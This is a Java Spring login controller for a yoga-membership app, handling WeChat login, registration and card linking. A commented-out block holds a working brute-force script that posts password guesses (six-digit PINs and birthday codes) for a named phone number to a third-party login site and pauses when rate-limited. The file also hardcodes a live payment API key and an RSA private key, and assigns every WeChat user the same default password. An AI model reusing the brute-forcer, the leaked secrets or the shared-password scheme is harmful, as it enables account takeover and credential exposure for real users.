package com.ruoyi.web.controller.system;

import java.io.*;
import java.net.URL;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;

import com.alibaba.fastjson2.JSONObject;
import com.huifu.adapay.Adapay;
import com.huifu.adapay.model.Member;
import com.huifu.adapay.model.MerConfig;
import com.ruoyi.common.annotation.Anonymous;
import com.ruoyi.common.core.domain.model.LoginUser;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.framework.web.service.SysRegisterService;
import com.ruoyi.hatha.domain.PCards;
import com.ruoyi.hatha.domain.PMyvip;
import com.ruoyi.hatha.domain.POfflineUser;
import com.ruoyi.hatha.service.IPCardsService;
import com.ruoyi.hatha.service.IPMyvipService;
import com.ruoyi.hatha.service.IPOfflineUserService;
import com.ruoyi.system.service.ISysUserService;
import com.ruoyi.tools.WxTool;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysMenu;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.domain.model.LoginBody;
import com.ruoyi.common.utils.SecurityUtils;
import com.ruoyi.framework.web.service.SysLoginService;
import com.ruoyi.framework.web.service.SysPermissionService;
import com.ruoyi.system.service.ISysMenuService;

import javax.net.ssl.HttpsURLConnection;

/**
 * 登录验证
 * 
 * @author ruoyi
 */
@RestController
public class SysLoginController
{
    @Autowired
    private SysLoginService loginService;

    @Autowired
    private ISysUserService sysUserService;

    @Autowired
    private ISysMenuService menuService;

    @Autowired
    private SysPermissionService permissionService;
    @Autowired
    private SysRegisterService registerService;
    @Autowired
    private IPMyvipService myvipService;
    @Autowired
    private IPOfflineUserService offlineUserService;
    @Autowired
    private IPCardsService cardsService;


    private static String def_pass = "hathaYoga2023@..#$";
//
//    public static void main(String[] args) throws IOException {
//
////        for(int i=900000;i<=999999;i++){
////            String pwd = String.format("%06d",i);
////            boolean flag = sendpost(pwd);
////            if(flag){
////                break;
////            }
////            System.out.println(pwd);
////        }
//        for (int year = 70; year <= 99; year++) {
//            for (int month = 01; month <= 12; month++) {
//                for (int day = 01; day <= 31; day++) {
//                    int birthdayCode = year * 10000 + month * 100 + day;
//                    System.out.println(birthdayCode);
//                    boolean flag = sendpost(birthdayCode);
//                    if(flag){
//                        break;
//                    }
//                }
//            }
//        }
//
//    }
//
//
//    public static boolean sendpost(Integer pwd) throws IOException {
//
//        URL url = new URL("https://cloud.chehaiyang.com/Users/Login");
//        // 打开连接
//        HttpsURLConnection connection = (HttpsURLConnection) url.openConnection();
//
//        // 设置请求方法
//        connection.setRequestMethod("POST");
//
//        // 设置允许输入输出
//        connection.setDoOutput(true);
//
//        // 创建参数字符串（这里以键值对形式发送数据，使用UTF-8编码）
//        String params = "LoginName=" + URLEncoder.encode("15991983262", "UTF-8") +
//                "&Password=" + URLEncoder.encode(pwd+"", "UTF-8");
//
//        // 发送请求参数
//        try (OutputStream os = connection.getOutputStream()) {
//            os.write(params.getBytes());
//            os.flush();
//        }
//
//        // 获取响应码
//        int responseCode = connection.getResponseCode();
//        System.out.println("Response Code: " + responseCode);
//
//        // 处理响应...
//        try (BufferedReader in = new BufferedReader(
//                new InputStreamReader(connection.getInputStream(), "UTF-8"))) {
//            String inputLine;
//            StringBuffer response = new StringBuffer();
//
//            while ((inputLine = in.readLine()) != null) {
//                response.append(inputLine);
//            }
//
//            String zfc = response.toString();
//
//            if(zfc.contains("抱歉，您访问太频繁了！")){
//                Thread.sleep(10000);
//            }
//
//
//
//            JSONObject json = JSONObject.parseObject(zfc);
//
//
//
//            Boolean res = json.getBoolean("valid");
//
//            // 打印响应数据
//            System.out.println(res);
//            if(res){
//                System.out.println("密码是："+pwd);
//                return true;
//            }
//        } catch (Exception e) {
//            e.printStackTrace();
//            return false;
//        }
//        // 关闭连接
//        connection.disconnect();
//        return false;
//    }

    /**
     * 登录方法
     * 
     * @param loginBody 登录信息
     * @return 结果
     */
    @PostMapping("/login")
    public AjaxResult login(@RequestBody LoginBody loginBody)
    {
        AjaxResult ajax = AjaxResult.success();
        // 生成令牌
        String token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(),
                loginBody.getUuid());
        ajax.put(Constants.TOKEN, token);
        return ajax;
    }

    @GetMapping("/getUserInfo")
    public  AjaxResult getUserInfo(){
        Long uid = SecurityUtils.getUserId();
        SysUser user = sysUserService.selectUserById(uid);
        return AjaxResult.success(user);
    }


    @PostMapping("/loginWithWechat")
    @Transactional
    public AjaxResult loginWithWechat(@RequestBody LoginBody loginBody) throws Exception {

        Map<String,Object> map = new HashMap<>();

        String token = "";
        //获取微信手机号
        String phone = WxTool.getPhoneNum(loginBody.getCode());
        if(StringUtils.isEmpty(phone)){
            return AjaxResult.error("微信登录失败");
        }
        //根据手机号查询是否已注册
        SysUser nowsu = sysUserService.selectUserByUserName(phone);
        if(nowsu==null){
            //如果 puid 不为空 查询 父级ID 的用户
            String puids = "";
            SysUser reguser = new SysUser();
            if(loginBody.getPuid()!=null){
                PMyvip p = new PMyvip();
                p.setUid(loginBody.getPuid());
                List<PMyvip> pv = myvipService.selectPMyvipList(p);

                if(pv.size()>0){//说明开通过会员 否则不做关联
                    SysUser su = sysUserService.selectUserById(loginBody.getPuid());
                    puids = su.getPuids();

                    if(StringUtils.isEmpty(puids)){
                        puids = loginBody.getPuid()+"";
                    }else{
                        puids += ","+loginBody.getPuid();
                    }
                    reguser.setPuid(loginBody.getPuid());
                    reguser.setPuids(puids);
                }
            }
            reguser.setUserName(phone);
            reguser.setPassword(SecurityUtils.encryptPassword(def_pass));
            reguser.setOpenid(loginBody.getOpenid());
            reguser.setPhonenumber(phone);
            reguser.setNickName("微信用户");
            reguser.setIsxcx("1");
            boolean regFlag = sysUserService.registerUser(reguser);

            //创建分账用户

            Adapay.debug = true;
            Adapay.prodMode = true;
            String apiKey = "api_live_dc9dd8df-b9a9-4d58-a7ba-974bf75ac8cb";
            String mockApiKey = "api_test_d1f93046-b897-42cc-b726-1f6220260a60";
            String rsaPrivateKey = "MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAJFwVx0ZBLTG7JdsXAsJ5XCZ59seRGyEdz3LCOIjuf+V4CVVQgzNruMGkYD6dWd1PIo/XJZLrzyaKd9DqR+SvJjMvl1QVsm2KdAQkzmfDIEYlk+aKf2rhJwgwHCjCZw76ORjQoywjHYJXAv/+gkA/TsoJOhnkk6VeF6k/zrRooSbAgMBAAECgYAB4TDPCHa+G2ANaPIblmontWWAuHhr6p5b5xbbTVjnC7nU4bAz2CiteHVC9Hm195brtnvs2VePcfKelxJFfTEAx2m/I1G4cU1OUgaOKRwUL1IrTbTPdyuMosXG4X4FHsxnBF7sANOzt3Budgu/1Wc00dI6DsA/WrWPs/kFUNHFUQJBAPYrKpWQgqeF95OUKfJtdogscsj+gbkl/z+dgskD5t7SlCGE4C5LF7BcDkUAx8Uq4s8yaeYzFaUI53BuBSUr/9MCQQCXP09sO+wTP+rTLFdoPe6jC60ZrH12v2OofgJSpbZTQeRsrYq7xUjYgHmBe9w9BMCc8BzjNOBlIHSgP9Gt8rMZAkEA3q9b3WKVnp/Ev37Xl1NIV5UF3SbGCMwDo/ODvP3HmqgZklzWQ2pwqnwL+IXlMUpDVLXBMJnjqaBtZLpR8zdjOwJAa7n9QPMhP8i74jNoAmhyS5FqdqnkJytEuWMfFmzPg1egckPdV8a6DvLbGH33LULwShfAC5jC52SJjQZHu6TtKQJABlE+ui8xYjNygH2Z/c+pstyerFT1DRZnpGBt2kQ2BUqW3+G8UA0OBhKtko01j48KbkBpw6sdd2VmPcm8ArBCGg==";
            MerConfig merConfig = new MerConfig();
            merConfig.setApiKey(apiKey);
            merConfig.setApiMockKey(mockApiKey);
            merConfig.setRSAPrivateKey(rsaPrivateKey);
            Adapay.initWithMerConfig(merConfig);

            String appId = "app_cc612f06-2165-4e66-b6f6-5bb21975f0b8";

            Map<String, Object> memberParams = new  HashMap<String, Object>(2);
            memberParams.put("member_id", reguser.getUserId().toString());
            memberParams.put("app_id",appId);
            Map<String, Object> member = Member.create(memberParams);
            System.out.println(member);
            if(regFlag){
                token = loginService.login(phone, def_pass, loginBody.getCode(),
                        loginBody.getUuid());
                map.put("token",token);
                return AjaxResult.success("ok",map);
            }else{
                return AjaxResult.error("微信登录失败");
            }
        }

        if(StringUtils.isEmpty(nowsu.getOpenid())){
            nowsu.setOpenid(loginBody.getOpenid());
            sysUserService.updateUser(nowsu);
        }


        //查找会员卡并关联
        POfflineUser pu = new POfflineUser();
        pu.setPhone(phone);
        pu.setStatus(0);
        List<POfflineUser> lp = offlineUserService.selectPOfflineUserList(pu);
        if(lp.size()>0){
            nowsu = sysUserService.selectUserByUserName(phone);
            for(POfflineUser pOfflineUser : lp){
                String cid = pOfflineUser.getCardType();
                PCards pc = cardsService.selectPCardsById(Long.valueOf(cid));

                PMyvip pm = new PMyvip();
                pm.setFid(pc.getFid());
                pm.setUid(nowsu.getUserId());
                pm.setType(pc.getType());
                pm.setCardId(pc.getId());
                pm.setEndTime(pOfflineUser.getDqsj());
                pm.setSycs(pOfflineUser.getSycs());
                pm.setStatus(0);
                pm.setOrderId(null);
                myvipService.insertPMyvip(pm);
            }
        }


        token = loginService.login(phone, def_pass, loginBody.getCode(),
                loginBody.getUuid());
        map.put("token",token);
        return AjaxResult.success("登录成功",map);
    }


    @PostMapping("/getOpenId")
    public AjaxResult getOpenId(@RequestBody LoginBody loginBody)
    {
        Map<String,Object> map = new HashMap<>();
        String openid = WxTool.getLoginInfo(loginBody.getCode());

        if(StringUtils.isEmpty(openid)){
            return AjaxResult.error("获取信息失败");
        }

        SysUser user = sysUserService.selectUserByOpenid(openid);

        map.put("openid",openid);
        return AjaxResult.success(map);
    }

    /**
     * 检查登录状态
     * @return
     */
    @Anonymous
    @RequestMapping("/checkToken")
    public AjaxResult checkToken(){
        try {
            LoginUser loginUser = SecurityUtils.getLoginUser();
            if(loginUser!=null){
                return AjaxResult.success("已登录");
            }else{
                return AjaxResult.error("未登录");
            }
        }catch (Exception e){
            return AjaxResult.error("未登录");
        }
    }

    /**
     * 获取用户信息
     * 
     * @return 用户信息
     */
    @GetMapping("getInfo")
    public AjaxResult getInfo()
    {
        SysUser user = SecurityUtils.getLoginUser().getUser();
        // 角色集合
        Set<String> roles = permissionService.getRolePermission(user);
        // 权限集合
        Set<String> permissions = permissionService.getMenuPermission(user);
        AjaxResult ajax = AjaxResult.success();
        ajax.put("user", user);
        ajax.put("roles", roles);
        ajax.put("permissions", permissions);
        return ajax;
    }

    /**
     * 获取路由信息
     * 
     * @return 路由信息
     */
    @GetMapping("getRouters")
    public AjaxResult getRouters()
    {
        Long userId = SecurityUtils.getUserId();
        List<SysMenu> menus = menuService.selectMenuTreeByUserId(userId);
        return AjaxResult.success(menuService.buildMenus(menus));
    }
}
